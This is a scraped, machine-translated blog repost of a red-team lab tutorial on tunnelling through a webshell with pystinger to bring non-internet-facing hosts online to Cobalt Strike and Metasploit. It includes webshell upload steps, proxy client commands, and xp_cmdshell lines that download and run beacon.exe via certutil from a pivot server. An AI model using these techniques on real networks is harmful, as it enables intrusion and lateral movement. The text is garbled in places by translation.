当前位置:网站首页>(stinger) use pystinger Socks4 to go online and not go out of the network host
(stinger) use pystinger Socks4 to go online and not go out of the network host
2022-07-02 23:17:00 【Bright moon and clear wind~~】
( Venomous sting ) utilize Pystinger Socks4 Online and offline hosts
Link to the original text :https://mp.weixin.qq.com/s/cpN91KpBvTHwqqFHAQZDOw
We will continue to share an article on the use of Pystinger Socks4 The posture of online and offline hosts in proxy mode , Including two common scenarios of single host and multiple hosts in the intranet !!!
Project address :https://github.com/FunnyWolf/pystinger
** Related reading :
**
1、 utilize MSF Sharing ideas of online and offline hosts
2、 utilize goproxy http Online and offline hosts
0x01 Test environment
attack (Kali):192.168.56.101 The victim 1(Web):192.168.56.102、192.168.186.3 - Double network card victim 2(Data):192.168.186.4 - Network breaker
0x02 Pystinger Brief introduction
Pystinger By the server webshell
、stinger_server
And the client stinger_client
Two parts , It can be done by webshell Implement intranet SOCK4 Proxy and port mapping , Support php/jsp(x)/aspx Three proxy scripts .
webshell Only responsible for traffic forwarding , Most of the work of establishing connections and processing data is done by stinger_server complete ,stinger_client It is used to receive the traffic data forwarded and connect with CS/MSF Of listener establish TCP Connections etc. .
The general principle is as follows , A more detailed principle analysis can be read “ Qianxin security service ” In the official account “ Practice of attack and defense of red team : A new idea of building an intranet tunnel without leaving the network host ” One article to learn .
0x03 Pystinger Online and offline hosts
We will first Pystinger The server side of the project stinger_server.exe、proxy.aspx Upload the Chinese kitchen knife to the readable and writable directory of the target disk , visit proxy.aspx return UTF-8
Is normal , Then execute the following command to start the server .
start C:\inetpub\wwwroot\stinger_server.exe 0.0.0.0
** notes :** The author suggests not to run directly D:/XXX/stinger_server.exe, Because it could lead to TCP Disconnection .
The client stinger_client Uploaded to the Kali The attacker tmp Temporary directory , Then execute the following command to Socks4 The proxy traffic is forwarded to us Kali attack 60000 On port , Just put -w Replace the parameter with the proxy script address uploaded by yourself .
[email protected]:/tmp# chmod 777 [email protected]:/tmp# ./stinger_client -w http://192.168.56.102/proxy.aspx -l 127.0.0.1 -p 60000
scene 1: Single host online
The controlled host is a single host , Not out of the Internet and only allowed to access the target Web Of 80 port . In case of such a scenario, you can perform the above operations in CobaltStrike Create a Listener,HTTP Hosts fill 127.0.0.1
,HTTP Port fill 60020
.
scene 2: Multi host Online
The controlled host is one of the hosts in the intranet , The double card (192.168.56.X For outgoing segment ,192.168.186.X For not leaving the network segment ), When other intranet hosts in the non outgoing network segment are horizontally moved online, you can go online after performing the above operations CobaltStrike Create a Listener,HTTP Hosts fill 192.168.186.3
,HTTP Port fill 60020
.
After monitoring is configured, an executable horse is generated , Put the file in 192.168.186.3 Of Web Server for 192.168.186.4 Offline database server download , recycling xp_cmdshell Component execution beacon.exe
Then you can successfully go online ,Pystinger The client also received relevant connection data .
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/beacon.exe C:\ProgramData\beacon.exe'EXEC master..xp_cmdshell 'C:\ProgramData\beacon.exe'
CobaltStrike Monitor settings
Single host online :
CobaltStrike->Listeners->Add->127.0.0.1:60020
;Multi host Online :
CobaltStrike->Listeners->Add->192.168.186.3:60020
;** notes :** When the target host is a dual network card, it must not be out of the network IP Intranet of segment IP Only by monitoring the address can the online and offline hosts ;
Go online to MSF Use posture
Kali Attack on-board editor /etc/proxychains.conf file , Add a bar at the bottom socks4 agent :127.0.0.1:60000, After adding, first execute the following commands to verify whether it has been connected to the network IP Duan Tong ?
[email protected]:~# proxychains telnet 192.168.186.4 [email protected]:~# proxychains curl http://[email protected]:~# proxychains nmap -sT -Pn 192.168.186.4[...SNIP...]
If it passes, use it again proxychains To start up msfconsole, Can't use the Internet IP Intranet of segment IP Listen to the address . We all know the principle , It's not practical to take screenshots ….
[email protected]:~# proxychains msfconsole -q[...SNIP...]
边栏推荐
- Loss function~
- Solving ordinary differential equations with MATLAB
- 力扣刷题(2022-6-28)
- psnr,ssim,rmse三个指标的定量分析
- 程序员版本的八荣八耻~
- 聊聊内存模型与内存序
- Use the scroll bar of souI when using the real window in souI
- Troubleshooting the cause of the crash when STM32 serial port dam receives 253 bytes
- 在SOUI里使用真窗口时使用SOUI的滚动条
- CDN 加速,需要域名先备案
猜你喜欢
随机推荐
MarkDown基本语法
PMP project integration management
Win11自动关机设置在哪?Win11设置自动关机的两种方法
Pytorch training CPU usage continues to grow (Bug)
golang入门:for...range修改切片中元素的值的另类方法
Jericho's thimble reaction when directly touching the prototype is abnormal [chapter]
Minimum spanning tree
Prometheus deployment
【Redis笔记】压缩列表(ziplist)
抖音实战~点赞数量弹框
psnr,ssim,rmse三个指标的定量分析
Jerry's prototype will trigger shutdown after multiple touches [chapter]
Arduino - 字符判断函数
Boost库链接错误解决方案
BBR encounters cubic
Is 408 not fragrant? The number of universities taking the 408 examination this year has basically not increased!
Jerry's built-in short press and long press, no matter how long it is, it is a short press [chapter]
BBR 遭遇 CUBIC
Ping domain name error unknown host, NSLOOKUP / system d-resolve can be resolved normally, how to Ping the public network address?
20220524_数据库过程_语句留档